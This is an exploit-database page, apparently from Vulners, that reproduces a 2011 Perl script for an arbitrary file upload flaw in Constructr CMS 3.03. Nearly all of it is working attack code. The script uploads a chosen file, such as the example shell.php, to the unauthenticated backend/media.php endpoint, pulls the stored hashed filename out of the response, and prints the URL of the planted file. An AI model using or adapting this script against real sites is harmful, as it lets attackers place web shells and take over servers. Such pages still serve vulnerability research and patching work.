Constructr CMS 3.03 Arbitrary File Upload

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Constructr CMS 3.03 Arbitrary File Upload by pluck

                                                #!/usr/bin/env perl

# Constructr CMS 3.03 Arbitrary File Upload
#
# Author: plucky
# Email:  [email protected]     
#
# Vulnerable Page: /constructr/backend/media.php [line 
# App Download:    http://sourceforge.net/projects/constructr/
#
# Date: 23/03/2011
# THX TO: yawn, shrod, h473 and DoMinO

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common qw( POST );


my $host           = &#39;&#39;;
my $file_to_upload = &#39;&#39;;
my $new_file_name  = &#39;&#39;;
my $file_extension = &#39;&#39;;


sub exploit_usage {

    print &#39;Constructr CMS 3.03 Arbitrary File Upload&#39;                                        . &#34;\n&#34;.
          &#39;-------------------------&#39;                                                        . &#34;\n&#34;.
          &#39;Author: plucky&#39;                                                                   . &#34;\n&#34;.
          &#39;Email:  [email protected]&#39;                                                      . &#34;\n&#34;.
          &#39;-------------------------&#39;                                                        . &#34;\n&#34;. 
          &#39;Usage:&#39;                                                                           . &#34;\n&#34;.
          &#39;        perl xpl.pl [host]/[cms-path]/ /[path-file]/[file]&#39;                       . &#34;\n&#34;.
          &#39;Example:&#39;                                                                         . &#34;\n&#34;.
          &#39;        perl &#39; . $0 . &#39; http://vulnerable.com/constructr/ /home/plucky/shell.php&#39; . &#34;\n&#34;;

    exit;

}

sub file_parse {

    my $file_name       = &#39;&#39;;
    my $file_extension  = &#39;&#39;;
    my $file_to_upload  = &#39;&#39;;
    my $rfile_to_upload = &#39;&#39;;


    $rfile_to_upload = shift;
    $file_to_upload  = ${$rfile_to_upload};

    $file_to_upload =~ m/\/([a-z0-9]+)\.([a-z]+)/i;

    $file_name      = $1;
    $file_extension = $2;

    return ( $file_name, $file_extension )

}

sub upload_file {

    my $host            = &#39;&#39;;
    my $rhost           = &#39;&#39;;
    my $file_name       = &#39;&#39;;
    my $file_extension  = &#39;&#39;;
    my $response        = &#39;&#39;;
    my $path            = &#39;&#39;;
    my $html            = &#39;&#39;;
    my $user_agent      = &#39;&#39;;
    my $file_to_upload  = &#39;&#39;;
    my $rfile_to_upload = &#39;&#39;;
    my $new_file_name   = &#39;&#39;;


    ( $rhost, $rfile_to_upload ) = @_;

    $host           = ${$rhost};
    $file_to_upload = ${$rfile_to_upload};

    $user_agent = LWP::UserAgent-&#62;new;
    $path       = $host . &#39;backend/media.php&#39;;


    $response = $user_agent-&#62;post(
        $path,
        [
            &#39;create_file&#39; =&#62; &#39;try&#39;,
            &#39;file&#39;        =&#62; [$file_to_upload],
        ],
        &#39;Content_Type&#39; =&#62; &#39;form-data&#39;
    );


    ( $file_name, $file_extension ) = file_parse( \$file_to_upload );


    $html = $response-&#62;decoded_content;
    $html =~ m/show_path=([a-f0-9]{32})\.$file_extension&#34;&#62;$file_name\.$file_extension&#60;\/a&#62;/i;

    $new_file_name = $1;

    return ( $new_file_name, $file_extension );

}

@ARGV == 2
           ? ( $host, $file_to_upload ) = @ARGV
           : exploit_usage();

( $new_file_name, $file_extension ) = upload_file( \$host, \$file_to_upload );


print $host, &#39;data/workspace/uploads/&#39;, $new_file_name, &#39;.&#39;, $file_extension, &#34;\n&#34;;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1